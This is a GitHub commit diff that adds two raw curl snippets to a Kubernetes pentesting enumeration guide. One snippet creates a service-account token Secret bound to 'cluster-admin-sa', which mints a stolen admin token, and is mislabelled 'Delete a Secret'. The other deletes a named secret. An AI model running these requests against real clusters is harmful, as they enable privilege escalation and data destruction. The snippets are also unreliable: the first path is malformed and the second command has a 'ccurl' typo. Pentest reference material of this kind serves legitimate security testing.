Skip to content

Commit ffe4918

Browse files
authored
Update kubernetes-enumeration.md
1 parent 5fcb29c commit ffe4918

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed

src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -801,6 +801,46 @@ curl --path-as-is -i -s -k -X $'DELETE' \
801801
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
802802
```
803803

804+
### Delete a Secret
805+
806+
```bash
807+
CONTROL_PLANE_HOST=""
808+
TOKEN=""
809+
NAMESPACE="default"
810+
811+
curl --path-as-is -i -s -k -X $'POST' \
812+
-H "Host: $CONTROL_PLANE_HOST" \
813+
-H "Authorization: Bearer $TOKEN" \
814+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
815+
-H $'Accept: application/json' \
816+
-H $'Content-Type: application/json' \
817+
-H $'Content-Length: 219' \
818+
-H $'Accept-Encoding: gzip, deflate, br' \
819+
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
820+
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
821+
```
822+
823+
### Delete a Secret
824+
825+
```bash
826+
CONTROL_PLANE_HOST=""
827+
TOKEN=""
828+
NAMESPACE="default"
829+
SECRET_NAME=""
830+
831+
ccurl --path-as-is -i -s -k -X $'DELETE' \
832+
-H "Host: $CONTROL_PLANE_HOST" \
833+
-H "Authorization: Bearer $TOKEN" \
834+
-H $'Content-Type: application/json' \
835+
-H $'Accept: application/json' \
836+
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
837+
-H $'Content-Length: 35' \
838+
-H $'Accept-Encoding: gzip, deflate, br' \
839+
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
840+
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
841+
```
842+
843+
804844

805845
## References
806846

0 commit comments

Comments
 (0)